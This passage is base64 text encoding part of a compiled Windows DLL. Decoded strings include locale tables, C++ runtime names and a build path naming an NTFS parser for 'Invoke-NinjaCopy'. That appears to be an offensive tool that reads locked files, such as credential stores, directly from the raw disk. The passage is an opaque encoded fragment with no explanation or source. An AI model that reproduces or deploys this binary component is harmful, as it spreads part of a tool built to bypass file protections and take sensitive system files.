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DYeAGAAQAAAAh5AYABAAAAInQBgAEAAABfX2Jhc2VkKAAAAAAAAAAAX19jZGVjbABfX3Bhc2NhbAAAAAAAAAAAX19zdGRjYWxsAAAAAAAAAF9fdGhpc2NhbGwAAAAAAABfX2Zhc3RjYWxsAAAAAAAAX19jbHJjYWxsAAAAX19lYWJpAAAAAAAAX19wdHI2NABfX3Jlc3RyaWN0AAAAAAAAX191bmFsaWduZWQAAAAAAHJlc3RyaWN0KAAAACBuZXcAAAAAAAAAACBkZWxldGUAPQAAAD4+AAA8PAAAIQAAAD09AAAhPQAAW10AAAAAAABvcGVyYXRvcgAAAAAtPgAAKgAAACsrAAAtLQAALQAAACsAAAAmAAAALT4qAC8AAAAlAAAAPAAAADw9AAA+AAAAPj0AACwAAAAoKQAAfgAAAF4AAAB8AAAAJiYAAHx8AAAqPQAAKz0AAC09AAAvPQAAJT0AAD4+PQA8PD0AJj0AAHw9AABePQAAYHZmdGFibGUnAAAAAAAAAGB2YnRhYmxlJwAAAAAAAABgdmNhbGwnAGB0eXBlb2YnAAAAAAAAAABgbG9jYWwgc3RhdGljIGd1YXJkJwAAAABgc3RyaW5nJwAAAAAAAAAAYHZiYXNlIGRlc3RydWN0b3InAAAAAAAAYHZlY3RvciBkZWxldGluZyBkZXN0cnVjdG9yJwAAAABgZGVmYXVsdCBjb25zdHJ1Y3RvciBjbG9zdXJlJwAAAGBzY2FsYXIgZGVsZXRpbmcgZGVzdHJ1Y3RvcicAAAAAYHZlY3RvciBjb25zdHJ1Y3RvciBpdGVyYXRvcicAAABgdmVjdG9yIGRlc3RydWN0b3IgaXRlcmF0b3InAAAAAGB2ZWN0b3IgdmJhc2UgY29uc3RydWN0b3IgaXRlcmF0b3InAAAAAABgdmlydHVhbCBkaXNwbGFjZW1lbnQgbWFwJwAAAAAAAGBlaCB2ZWN0b3IgY29uc3RydWN0b3IgaXRlcmF0b3InAAAAAAAAAABgZWggdmVjdG9yIGRlc3RydWN0b3IgaXRlcmF0b3InAGBlaCB2ZWN0b3IgdmJhc2UgY29uc3RydWN0b3IgaXRlcmF0b3InAABgY29weSBjb25zdHJ1Y3RvciBjbG9zdXJlJwAAAAAAAGB1ZHQgcmV0dXJuaW5nJwBgRUgAYFJUVEkAAAAAAAAAYGxvY2FsIHZmdGFibGUnAGBsb2NhbCB2ZnRhYmxlIGNvbnN0cnVjdG9yIGNsb3N1cmUnACBuZXdbXQAAAAAAACBkZWxldGVbXQAAAAAAAABgb21uaSBjYWxsc2lnJwAAYHBsYWNlbWVudCBkZWxldGUgY2xvc3VyZScAAAAAAABgcGxhY2VtZW50IGRlbGV0ZVtdIGNsb3N1cmUnAAAAAGBtYW5hZ2VkIHZlY3RvciBjb25zdHJ1Y3RvciBpdGVyYXRvcicAAABgbWFuYWdlZCB2ZWN0b3IgZGVzdHJ1Y3RvciBpdGVyYXRvcicAAAAAYGVoIHZlY3RvciBjb3B5IGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAAGBlaCB2ZWN0b3IgdmJhc2UgY29weSBjb25zdHJ1Y3RvciBpdGVyYXRvcicAAAAAAGBkeW5hbWljIGluaXRpYWxpemVyIGZvciAnAAAAAAAAYGR5bmFtaWMgYXRleGl0IGRlc3RydWN0b3IgZm9yICcAAAAAAAAAAGB2ZWN0b3IgY29weSBjb25zdHJ1Y3RvciBpdGVyYXRvcicAAAAAAABgdmVjdG9yIHZiYXNlIGNvcHkgY29uc3RydWN0b3IgaXRlcmF0b3InAAAAAAAAAABgbWFuYWdlZCB2ZWN0b3IgY29weSBjb25zdHJ1Y3RvciBpdGVyYXRvcicAAAAAAABgbG9jYWwgc3RhdGljIHRocmVhZCBndWFyZCcAAAAAACBUeXBlIERlc2NyaXB0b3InAAAAAAAAACBCYXNlIENsYXNzIERlc2NyaXB0b3IgYXQgKAAAAAAAIEJhc2UgQ2xhc3MgQXJyYXknAAAAAAAAIENsYXNzIEhpZXJhcmNoeSBEZXNjcmlwdG9yJwAAAAAgQ29tcGxldGUgT2JqZWN0IExvY2F0b3InAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAIAAgACAAIAAgACAAIAAgACgAKAAoACgAKAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABIABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQAIQAhACEAIQAhACEAIQAhACEAIQAEAAQABAAEAAQABAAEACBAIEAgQCBAIEAgQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAEAAQABAAEAAQABAAggCCAIIAggCCAIIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACABAAEAAQABAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgACAAIAAgACAAIAAgACAAIABoACgAKAAoACgAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAASAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEACEAIQAhACEAIQAhACEAIQAhACEABAAEAAQABAAEAAQABAAgQGBAYEBgQGBAYEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBARAAEAAQABAAEAAQAIIBggGCAYIBggGCAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgEQABAAEAAQACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIA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